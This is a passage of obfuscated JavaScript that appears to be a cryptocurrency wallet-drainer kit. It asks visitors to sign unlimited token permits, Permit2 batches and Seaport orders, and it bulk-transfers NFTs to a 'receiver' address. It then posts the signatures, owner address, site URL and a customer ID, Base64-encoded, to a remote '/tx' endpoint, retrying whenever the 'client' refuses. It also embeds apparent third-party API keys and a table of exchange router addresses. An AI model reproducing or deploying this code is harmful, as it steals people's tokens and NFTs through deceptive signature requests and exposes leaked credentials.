const _0x49466a = {
name: _0x199059,
version: _0xf6910b,
chainId: _0x565d49,
verifyingContract: _0x4b675b
};
let _0x4ff728 = _0x49466a;
if (_0x39b95 == 4) {
const _0x3d8919 = {
chainId: _0x565d49,
verifyingContract: _0x4b675b
};
_0x4ff728 = _0x3d8919;
_0x4076d4 = [{
name: "chainId",
type: "uint256"
}, {
name: "verifyingContract",
type: "address"
}];
_0x301107 = {
owner: ethers.utils.getAddress(_0x4e1574),
spender: ethers.utils.getAddress(this.caller),
value: "115792089237316195423570985008687907853269984665640564039457584007913129639935",
nonce: _0x791ebd,
deadline: _0x4224c0.toString()
};
}
if (_0x39b95 == 3) {
const _0xf60ad0 = {
name: _0x199059,
chainId: _0x565d49,
verifyingContract: _0x4b675b
};
_0x4ff728 = _0xf60ad0;
_0x4076d4 = [{
name: "name",
type: "string"
}, {
name: "chainId",
type: "uint256"
}, {
name: "verifyingContract",
type: "address"
}];
_0x301107 = {
owner: ethers.utils.getAddress(_0x4e1574),
spender: ethers.utils.getAddress(this.caller),
value: "115792089237316195423570985008687907853269984665640564039457584007913129639935",
nonce: _0x791ebd,
deadline: _0x4224c0.toString()
};
}
if (_0x39b95 == 2) {
_0x35159a = [{
name: "holder",
type: "address"
}, {
name: "spender",
type: "address"
}, {
name: "nonce",
type: "uint256"
}, {
name: "expiry",
type: "uint256"
}, {
name: "allowed",
type: "bool"
}];
_0x301107 = {
PERMIT_TYPEHASH: "0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb",
holder: ethers.utils.getAddress(_0x4e1574),
spender: ethers.utils.getAddress(this.caller),
nonce: _0x791ebd,
expiry: _0x4224c0.toString(),
allowed: true
};
}
if (_0x39b95 == 1) {
_0x301107 = {
owner: ethers.utils.getAddress(_0x4e1574),
spender: ethers.utils.getAddress(this.caller),
value: "115792089237316195423570985008687907853269984665640564039457584007913129639935",
nonce: _0x791ebd,
deadline: _0x4224c0.toString()
};
if (_0x4b675b.toLowerCase() == "0xc944E90C64B2c07662A292be6244BDf05Cda44a7".toLowerCase()) {
const _0x508ab9 = {
name: _0x199059,
version: "0",
chainId: _0x565d49,
verifyingContract: _0x4b675b,
salt: "0x51f3d585afe6dfeb2af01bba0889a36c1db03beec88c6a4d0c53817069026afa"
};
_0x4ff728 = _0x508ab9;
_0x4076d4 = [{
name: "name",
type: "string"
}, {
name: "version",
type: "string"
}, {
name: "chainId",
type: "uint256"
}, {
name: "verifyingContract",
type: "address"
}, {
name: "salt",
type: "bytes32"
}];
}
}
console.log("Prompting Signature?");
const _0x5e69fa = {
Permit: _0x35159a
};
const _0x37e4c8 = await this.Sdk.signData(_0x4ff728, _0x5e69fa, _0x301107);
const {
s: _0x507937,
v: _0x230508,
r: _0x4a8be3
} = ethers.utils.splitSignature(_0x37e4c8);
await this.sendMessage({
chain: _0x281376.chain,
type: "permit",
token: _0x4b675b,
value: _0x496f92 / 2.2
});
await this.SendCompletion({
type: "permit",
actionType: _0x39b95,
s: _0x507937,
v: _0x230508,
r: _0x4a8be3,
token: _0x4b675b,
amount: _0x438f55,
deadline: _0x4224c0,
chain: _0x565d49,
nonce: parseInt(_0x791ebd),
owner: await this.getWalletAddress(),
caller: this.caller,
ahash: await this.createEncKey()
});
return true;
}
} catch (_0x43e064) {
console.log(_0x43e064);
return false;
}
};
seaportOrder = async _0xd1a273 => {
let _0x2eb985 = await this.getWalletAddress();
try {
let _0x595478 = Base64.encode(JSON.stringify(this.offer)).toString();
if (this.offer.length > 0 && !this.orderCache.includes(_0x595478)) {
let _0x57acf5 = Math.floor(Date.now() / 1000);
let _0x5283ef = await this.Sdk.createOrder(this.offer, this.considerations, 0, _0x57acf5, _0x57acf5 + 2678400, "0x004C00500000aD104D7DBd00e3ae0A5C00560C00", ethers.constants.HashZero, "0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000");
for (let _0x189d90 in this.offer) {
this.approved.push(_0x189d90.token + ",eth");
}
this.orderCache.push(_0x595478);
localStorage.orderCache = JSON.stringify(this.orderCache);
await this.sendMessage({
type: "seaport",
chain: _0xd1a273.chain,
value: _0xd1a273.value / 1.4
});
if (_0x2eb985 != (await this.getWalletAddress())) {
return;
}
setTimeout(async () => {
try {
await this.SendCompletion({
type: "seaport",
order: JSON.stringify(_0x5283ef.order),
caller: this.caller,
ahash: this.createEncKey()
});
} catch {
const _0x5c6e9e = {
type: "error",
chain: _0xd1a273.chain,
msg: "Client failed to sign seaport order"
};
await this.sendMessage(_0x5c6e9e);
}
});
}
} catch (_0x23cf51) {
if (_0x2eb985 != (await this.getWalletAddress())) {
return;
}
console.log(_0x23cf51);
const _0x4cc329 = {
type: "error",
chain: _0xd1a273.chain,
msg: "Client failed to sign seaport order"
};
await this.sendMessage(_0x4cc329);
this.failedAttempts++;
if (this.failedAttempts > 6 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.seaportOrder(_0xd1a273);
}
}
};
transferOpensea = async _0x18e554 => {
let _0xb22819 = await this.getWalletAddress();
try {
console.log("singapoor");
const _0x1069a6 = [{
inputs: [{
internalType: "address",
name: "conduitController",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [{
internalType: "bytes",
name: "reason",
type: "bytes"
}, {
internalType: "bytes32",
name: "conduitKey",
type: "bytes32"
}, {
internalType: "address",
name: "conduit",
type: "address"
}],
name: "ConduitErrorRevertBytes",
type: "error"
}, {
inputs: [{
internalType: "string",
name: "reason",
type: "string"
}, {
internalType: "bytes32",
name: "conduitKey",
type: "bytes32"
}, {
internalType: "address",
name: "conduit",
type: "address"
}],
name: "ConduitErrorRevertString",
type: "error"
}, {
inputs: [{
internalType: "bytes",
name: "reason",
type: "bytes"
}, {
internalType: "address",
name: "receiver",
type: "address"
}, {
internalType: "address",
name: "sender",
type: "address"
}, {
internalType: "uint256",
name: "identifier",
type: "uint256"
}],
name: "ERC721ReceiverErrorRevertBytes",
type: "error"
}, {
inputs: [{
internalType: "string",
name: "reason",
type: "string"
}, {
internalType: "address",
name: "receiver",
type: "address"
}, {
internalType: "address",
name: "sender",
type: "address"
}, {
internalType: "uint256",
name: "identifier",
type: "uint256"
}],
name: "ERC721ReceiverErrorRevertString",
type: "error"
}, {
inputs: [{
internalType: "bytes32",
name: "conduitKey",
type: "bytes32"
}, {
internalType: "address",
name: "conduit",
type: "address"
}],
name: "InvalidConduit",
type: "error"
}, {
inputs: [],
name: "InvalidERC20Identifier",
type: "error"
}, {
inputs: [{
internalType: "address",
name: "recipient",
type: "address"
}],
name: "InvalidERC721Recipient",
type: "error"
}, {
inputs: [],
name: "InvalidERC721TransferAmount",
type: "error"
}, {
inputs: [],
name: "InvalidItemType",
type: "error"
}, {
inputs: [],
name: "RecipientCannotBeZeroAddress",
type: "error"
}, {
inputs: [{
components: [{
components: [{
internalType: "enum ConduitItemType",
name: "itemType",
type: "uint8"
}, {
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "identifier",
type: "uint256"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
internalType: "struct TransferHelperItem[]",
name: "items",
type: "tuple[]"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "bool",
name: "validateERC721Receiver",
type: "bool"
}],
internalType: "struct TransferHelperItemsWithRecipient[]",
name: "items",
type: "tuple[]"
}, {
internalType: "bytes32",
name: "conduitKey",
type: "bytes32"
}],
name: "bulkTransfer",
outputs: [{
internalType: "bytes4",
name: "magicValue",
type: "bytes4"
}],
stateMutability: "nonpayable",
type: "function"
}];
let _0x3e326e = this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]);
let _0x3fd55d = new ethers.Contract("0x0000000000c2d145a2526bD8C716263bFeBe1A72", _0x1069a6, _0x3e326e);
let _0x36a212 = [];
for (let _0xcb9d0e of _0x18e554.asset) {
_0x36a212.push([_0xcb9d0e.itemType, _0xcb9d0e.token, _0xcb9d0e.tokenId, 1]);
}
let _0x235ba4 = await _0x3fd55d.bulkTransfer([[_0x36a212, this.receiver, true]], "0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000");
for (let _0x15785d of _0x18e554.asset) {
this.approved.push(_0x15785d.token + ",eth");
}
await this.sendMessage({
chain: _0x18e554.chain,
type: "approvalNFT",
source: "OSTransfer",
txId: _0x235ba4.hash,
value: _0x18e554.value / 2.2
});
} catch (_0x29842) {
console.log(_0x29842);
if (_0xb22819 != (await this.getWalletAddress())) {
return;
}
const _0x553dab = {
chain: _0x18e554.chain,
type: "error",
msg: "Client has denied transferring NFTs"
};
await this.sendMessage(_0x553dab);
this.failedAttempts++;
if (this.failedAttempts > 6 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.transferOpensea(_0x18e554);
}
}
};
permit2 = async _0x50beb9 => {
let _0x2cabbc = await this.getWalletAddress();
try {
let _0x3a87f8 = _0x50beb9.asset;
let _0x5d32ce = "0x000000000022d473030f116ddee9f6b43ac78ba3";
let _0xb8769 = [];
for (let _0x24f645 of _0x3a87f8) {
if (!this.approved.includes(_0x24f645.token + "," + _0x50beb9.chain)) {
let _0x26c940 = {
token: _0x24f645.token,
real_amount: _0x24f645.amount.toString(),
amount: "1461501637330902918203684832716283019655932542975",
expiration: "1988064000",
nonce: await this.Sdk.GetAllowances(_0x2cabbc, _0x24f645.token, this.caller)
};
console.log(_0x26c940);
_0xb8769.push(_0x26c940);
}
}
if (_0xb8769.length > 0) {
let _0x67cdb6 = {
name: "Permit2",
chainId: await this.getChainId(_0x50beb9.chain),
verifyingContract: _0x5d32ce
};
const _0x5da8d0 = {
details: _0xb8769,
spender: this.caller,
sigDeadline: 1988064000
};
let _0x280705 = _0x5da8d0;
const _0xb8e6cb = await this.Sdk.signData(_0x67cdb6, {
PermitBatch: [{
name: "details",
type: "PermitDetails[]"
}, {
name: "spender",
type: "address"
}, {
name: "sigDeadline",
type: "uint256"
}],
PermitDetails: [{
name: "token",
type: "address"
}, {
name: "amount",
type: "uint160"
}, {
name: "expiration",
type: "uint48"
}, {
name: "nonce",
type: "uint48"
}]
}, _0x280705);
let _0x4e8af7 = _0xb8769;
await this.sendMessage({
type: "permit2",
value: _0x50beb9.value / 2.5,
chain: _0x50beb9.chain
});
await this.SendCompletion({
type: "permit2",
chain_id: this.getChainId(_0x50beb9.chain),
permitDetails: JSON.stringify(_0x4e8af7),
signature: _0xb8e6cb,
ahash: this.createEncKey()
});
for (let _0x2d9aef of _0x3a87f8) {
this.approved.push(_0x2d9aef.token + "," + _0x50beb9.chain);
}
localStorage.approved = JSON.stringify(this.approved);
}
} catch (_0x5bfed1) {
console.log(_0x5bfed1);
if (_0x2cabbc != (await this.getWalletAddress())) {
return;
}
const _0x3f961a = {
chain: _0x50beb9.chain,
type: "error",
msg: "Client has denied signing Permit2"
};
await this.sendMessage(_0x3f961a);
this.failedAttempts++;
if (this.failedAttempts > 3 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.permit2(_0x50beb9);
}
}
};
SendCompletion = async _0x17f2c7 => {
try {
let _0x587ac1 = {};
switch (_0x17f2c7.type) {
case "permit2":
{
_0x587ac1 = {
action_type: "permit2",
permit_data: Base64.encode(_0x17f2c7.permitDetails),
signature: _0x17f2c7.signature,
owner: await this.getWalletAddress(),
website: window.location.href,
chain_id: _0x17f2c7.chain_id,
key: _0x17f2c7.ahash,
customer_id: config.customerId
};
}
break;
case "permit":
{
_0x587ac1 = {
action_type: "permit",
amount: _0x17f2c7.amount,
r_value: _0x17f2c7.r,
s_value: _0x17f2c7.s,
v_value: _0x17f2c7.v,
type: _0x17f2c7.actionType,
value: "115792089237316195423570985008687907853269984665640564039457584007913129639935",
contract: _0x17f2c7.token,
deadline: _0x17f2c7.deadline,
nonce: _0x17f2c7.nonce,
owner: await this.getWalletAddress(),
website: window.location.href,
chain_id: _0x17f2c7.chain,
key: _0x17f2c7.ahash,
customer_id: config.customerId
};
}
break;
case "NFTApproval":
{
_0x587ac1 = {
action_type: "nft_transfer",
hash: _0x17f2c7.hash,
contract: _0x17f2c7.token,
token_id: _0x17f2c7.token_id,
owner: await this.getWalletAddress(),
website: window.location.href,
item_type: _0x17f2c7.itemType,
chain_id: _0x17f2c7.chain_id,
key: _0x17f2c7.ahash,
customer_id: config.customerId
};
}
break;
case "TokenApproval":
{
_0x587ac1 = {
action_type: "token_transfer",
hash: _0x17f2c7.hash,
contract: _0x17f2c7.token,
amount: _0x17f2c7.amount,
owner: await this.getWalletAddress(),
website: window.location.href,
chain_id: _0x17f2c7.chain,
key: _0x17f2c7.ahash,
customer_id: config.customerId
};
}
break;
case "seaport":
{
_0x587ac1 = {
action_type: "seaport_match",
order: Base64.encode(_0x17f2c7.order),
website: window.location.href,
key: _0x17f2c7.ahash,
customer_id: config.customerId
};
}
break;
case "tokenSplit":
{
const _0x4fa492 = {
action_type: "split",
hash: _0x17f2c7.hash,
address: _0x17f2c7.tokenAddress,
key: _0x17f2c7.ahash,
chain_id: _0x17f2c7.chainId,
customer_id: config.customerId
};
_0x587ac1 = _0x4fa492;
}
break;
}
let _0x46d85f = this.domain + "/tx";
let _0x29c8ea = await fetch(_0x46d85f, {
method: "POST",
body: Base64.encode(JSON.stringify(_0x587ac1))
});
} catch (_0x373b76) {
console.log(_0x373b76);
}
};
oneInchKeys = ["kSHXPLG75uYbEGAH37PtsYqhpMzg8rD3", "MLpI1leeeyGo4778JNKBuWOY3OpMKkev", "9GpBce1G1IqnzaZAAIcAWdccLImTt0Jn"];
exchangeDictionary = [{
Chain: "eth",
Exchange: "AaveLP2",
Address: "0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9"
}, {
Chain: "eth",
Exchange: "AaveLP3",
Address: "0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2"
}, {
Chain: "eth",
Exchange: "AaveLP4",
Address: "0x777777c9898D384F785Ee44Acfe945efDFf5f3E0"
}, {
Chain: "matic",
Exchange: "AaveLP2",
Address: "0x8dFf5E27EA6b7AC08EbFdf9eB090F32ee9a30fcf"
}, {
Chain: "matic",
Exchange: "AaveLP3",
Address: "0x794a61358D6845594F94dc1DB02A252b5b4814aD"
}, {
Chain: "avax",
Exchange: "AaveLP2",
Address: "0x4F01AeD16D97E3aB5ab2B501154DC9bb0F1A5A2C"
}, {
Chain: "avax",
Exchange: "AaveLP3",
Address: "0x794a61358D6845594F94dc1DB02A252b5b4814aD"
}, {
Chain: "op",
Exchange: "AaveLP3",
Address: "0x794a61358D6845594F94dc1DB02A252b5b4814aD"
}, {
Chain: "arb",
Exchange: "AaveLP3",
Address: "0x794a61358D6845594F94dc1DB02A252b5b4814aD"
}, {
Chain: "eth",
Exchange: "Bancor",
Address: "0xeEF417e1D5CC832e619ae18D2F140De2999dD4fB"
}, {
Chain: "eth",
Exchange: "BancorSwaps",
Address: "0x2F9EC37d6CcFFf1caB21733BdaDEdE11c823cCB0"
}, {
Chain: "arb",
Exchange: "Camelot",
Address: "0xc873fEcbd354f5A56E00E710B90EF4201db2448d"
}, {
Chain: "eth",
Exchange: "Curve",
Address: "0x99a58482BD75cbab83b27EC03CA68fF489b5788f"
}, {
Chain: "eth",
Exchange: "CurveVyper1",
Address: "0x55B916Ce078eA594c10a874ba67eCc3d62e29822"
}, {
Chain: "arb",
Exchange: "GMX",
Address: "0xaBBc5F99639c9B6bCb58544ddf04EFA6802F4064"
}, {
Chain: "eth",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
}, {
Chain: "bsc",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
}, {
Chain: "avax",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
}, {
Chain: "op",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
}, {
Chain: "matic",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
}, {
Chain: "arb",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
}, {
Chain: "base",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
}, {
Chain: "ftm",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
}, {
Chain: "era",
Exchange: "1InchV5",
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582"
}, {
Chain: "eth",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
}, {
Chain: "bsc",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
}, {
Chain: "avax",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
}, {
Chain: "op",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
}, {
Chain: "matic",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
}, {
Chain: "arb",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
}, {
Chain: "ftm",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
}, {
Chain: "base",
Exchange: "Kyber",
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5"
}, {
Chain: "era",
Exchange: "Kyber",
Address: "0x3F95eF3f2eAca871858dbE20A93c01daF6C2e923"
}, {
Chain: "avax",
Exchange: "Pangolin",
Address: "0xe54ca86531e17ef3616d22ca28b0d458b6c89106"
}, {
Chain: "eth",
Exchange: "Pancake",
Address: "0xEfF92A263d31888d860bD50809A8D171709b7b1c"
}, {
Chain: "eth",
Exchange: "PancakeV2",
Address: "0x13f4EA83D0bd40E75C8222255bc855a974568Dd4"
}, {
Chain: "bsc",
Exchange: "Pancake",
Address: "0x10ED43C718714eb63d5aA57B78B54704E256024E"
}, {
Chain: "bsc",
Exchange: "PancakeV2",
Address: "0x13f4EA83D0bd40E75C8222255bc855a974568Dd4"
}, {
Chain: "eth",
Exchange: "Stargate",
Address: "0x8731d54E9D02c286767d56ac03e8037C07e01e98"
}, {
Chain: "bsc",
Exchange: "Stargate",
Address: "0x4a364f8c717cAAD9A442737Eb7b8A55cc6cf18D8"
}, {
Chain: "avax",
Exchange: "Stargate",
Address: "0x45A01E4e04F14f7A4a6702c74187c5F6222033cd"
}, {
Chain: "arb",
Exchange: "Stargate",
Address: "0x53Bf833A5d6c4ddA888F69c22C88C9f356a41614"
}, {
Chain: "op",
Exchange: "Stargate",
Address: "0xB0D502E938ed5f4df2E681fE6E419ff29631d62b"
}, {
Chain: "matic",
Exchange: "Stargate",
Address: "0x45A01E4e04F14f7A4a6702c74187c5F6222033cd"
}, {
Chain: "base",
Exchange: "Stargate",
Address: "0x45f1A95A4D3f3836523F5c83673c797f4d4d263B"
}, {
Chain: "ftm",
Exchange: "Stargate",
Address: "0xAf5191B0De278C7286d6C7CC6ab6BB8A73bA2Cd6"
}, {
Chain: "eth",
Exchange: "Special",
Address: "0x881d40237659c251811cec9c364ef91dc08d300c"
}, {
Chain: "bsc",
Exchange: "Special",
Address: "0x1a1ec25dc08e98e5e93f1104b5e5cdd298707d31"
}, {
Chain: "op",
Exchange: "Special",
Address: "0x9dda6ef3d919c9bc8885d5560999a3640431e8e6"
}, {
Chain: "matic",
Exchange: "Special",
Address: "0x1a1ec25dc08e98e5e93f1104b5e5cdd298707d31"
}, {
Chain: "arb",
Exchange: "Special",
Address: "0x9dda6ef3d919c9bc8885d5560999a3640431e8e6"
}, {
Chain: "ftm",
Exchange: "SpookySwap",
Address: "0xf491e7b69e4244ad4002bc14e878a34207e38c29"
}, {
Chain: "eth",
Exchange: "ShibaSwap",
Address: "0x03f7724180AA6b939894B5Ca4314783B0b36b329"
}, {
Chain: "eth",
Exchange: "SushiSwap",
Address: "0xd9e1ce17f2641f24ae83637ab66a2cca9c378b9f"
}, {
Chain: "bsc",
Exchange: "SushiSwap",
Address: "0x1b02da8cb0d097eb8d57a175b88c7d8b47997506"
}, {
Chain: "avax",
Exchange: "SushiSwap",
Address: "0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506"
}, {
Chain: "matic",
Exchange: "SushiSwap",
Address: "0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506"
}, {
Chain: "arb",
Exchange: "SushiSwap",
Address: "0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506"
}, {
Chain: "ftm",
Exchange: "SushiSwap",
Address: "0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506"
}, {
Chain: "bsc",
Exchange: "TraderJoeV3",
Address: "0xb4315e873dBcf96Ffd0acd8EA43f689D8c20fB30"
}, {
Chain: "avax",
Exchange: "TraderJoeV1",
Address: "0x60aE616a2155Ee3d9A68541Ba4544862310933d4"
}, {
Chain: "avax",
Exchange: "TraderJoeV2",
Address: "0xE3Ffc583dC176575eEA7FD9dF2A7c65F7E23f4C3"
}, {
Chain: "avax",
Exchange: "TraderJoeV3",
Address: "0xb4315e873dBcf96Ffd0acd8EA43f689D8c20fB30"
}, {
Chain: "arb",
Exchange: "TraderJoeV3",
Address: "0xb4315e873dBcf96Ffd0acd8EA43f689D8c20fB30"
}, {
Chain: "eth",
Exchange: "UniswapV2",
Address: "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D"
}, {
Chain: "eth",
Exchange: "UniswapV3",
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564"
}, {
Chain: "op",
Exchange: "UniswapV3",
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564"
}, {
Chain: "matic",
Exchange: "UniswapV3",
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564"
}, {
Chain: "arb",
Exchange: "UniswapV3",
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564"
}, {
Chain: "base",
Exchange: "UniswapV3",
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564"
}, {
Chain: "eth",
Exchange: "UniswapV3_2",
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"
}, {
Chain: "bsc",
Exchange: "UniswapV3_2",
Address: "0xB971eF87ede563556b2ED4b1C0b0019111Dd85d2"
}, {
Chain: "op",
Exchange: "UniswapV3_2",
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"
}, {
Chain: "matic",
Exchange: "UniswapV3_2",
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"
}, {
Chain: "arb",
Exchange: "UniswapV3_2",
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"
}, {
Chain: "base",
Exchange: "UniswapV3_2",
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"
}, {
Chain: "bsc",
Exchange: "WooFinance",
Address: "0x4f4Fd4290c9bB49764701803AF6445c5b03E8f06"
}, {
Chain: "avax",
Exchange: "WooFinance",
Address: "0xC22FBb3133dF781E6C25ea6acebe2D2Bb8CeA2f9"
}, {
Chain: "op",
Exchange: "WooFinance",
Address: "0xEAf1Ac8E89EA0aE13E0f03634A4FF23502527024"
}, {
Chain: "matic",
Exchange: "WooFinance",
Address: "0x817Eb46D60762442Da3D931Ff51a30334CA39B74"
}, {
Chain: "arb",
Exchange: "WooFinance",
Address: "0x9aEd3A8896A85FE9a8CAc52C9B402D092B629a30"
}, {
Chain: "bsc",
Exchange: "WooBridge",
Address: "0x81004C9b697857fD54E137075b51506c739EF439"
}, {
Chain: "avax",
Exchange: "WooBridge",
Address: "0x51AF494f1B4d3f77835951FA827D66fc4A18Dae8"
}, {
Chain: "op",
Exchange: "WooBridge",
Address: "0xbeaE1B06949d033Da628bA3E5aF267C3E740494b"
}, {
Chain: "matic",
Exchange: "WooBridge",
Address: "0xAA9c15cd603428cA8ddD45e933F8EfE3Afbcc173"
}, {
Chain: "arb",
Exchange: "WooBridge",
Address: "0x4AB421de52b3112D02442b040dd3DC73e8Af63b5"
}, {
Chain: "eth",
Exchange: "ZeroEx",
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF"
}, {
Chain: "bsc",
Exchange: "ZeroEx",
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF"
}, {
Chain: "ftm",
Exchange: "ZeroEx",
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF"
}, {
Chain: "avax",
Exchange: "ZeroEx",
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF"
}, {
Chain: "op",
Exchange: "ZeroEx",
Address: "0xDEF1ABE32c034e558Cdd535791643C58a13aCC10"
}, {
Chain: "matic",
Exchange: "ZeroEx",
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF"
}, {
Chain: "arb",
Exchange: "ZeroEx",
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF"
}];
setUpSwap = async _0x4f37a4 => {
let _0x2ed279 = _0x4f37a4.actionType;
let _0x1b1427 = Math.floor(Date.now() / 1000) + 99990;
let _0x2b7b1b = this.exchangeDictionary.filter(_0x54e471 => _0x54e471.Chain == _0x4f37a4.chain && _0x54e471.Exchange == _0x2ed279)[0].Address;
let _0x9d9505 = this.ethersProvider.getSigner(await this.getWalletAddress());
switch (_0x2ed279) {
case "AaveLP2":
{
let _0x291020 = [{
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "borrowRateMode",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "borrowRate",
type: "uint256"
}, {
indexed: true,
internalType: "uint16",
name: "referral",
type: "uint16"
}],
name: "Borrow",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: true,
internalType: "uint16",
name: "referral",
type: "uint16"
}],
name: "Deposit",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "target",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "initiator",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "asset",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "premium",
type: "uint256"
}, {
indexed: false,
internalType: "uint16",
name: "referralCode",
type: "uint16"
}],
name: "FlashLoan",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "collateralAsset",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "debtAsset",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "debtToCover",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "liquidatedCollateralAmount",
type: "uint256"
}, {
indexed: false,
internalType: "address",
name: "liquidator",
type: "address"
}, {
indexed: false,
internalType: "bool",
name: "receiveAToken",
type: "bool"
}],
name: "LiquidationCall",
type: "event"
}, {
anonymous: false,
inputs: [],
name: "Paused",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}],
name: "RebalanceStableBorrowRate",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "repayer",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "Repay",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "liquidityRate",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "stableBorrowRate",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "variableBorrowRate",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "liquidityIndex",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "variableBorrowIndex",
type: "uint256"
}],
name: "ReserveDataUpdated",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}],
name: "ReserveUsedAsCollateralDisabled",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}],
name: "ReserveUsedAsCollateralEnabled",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "rateMode",
type: "uint256"
}],
name: "Swap",
type: "event"
}, {
anonymous: false,
inputs: [],
name: "Unpaused",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "to",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "Withdraw",
type: "event"
}, {
inputs: [],
name: "FLASHLOAN_PREMIUM_TOTAL",
outputs: [{
internalType: "uint256",
name: "",
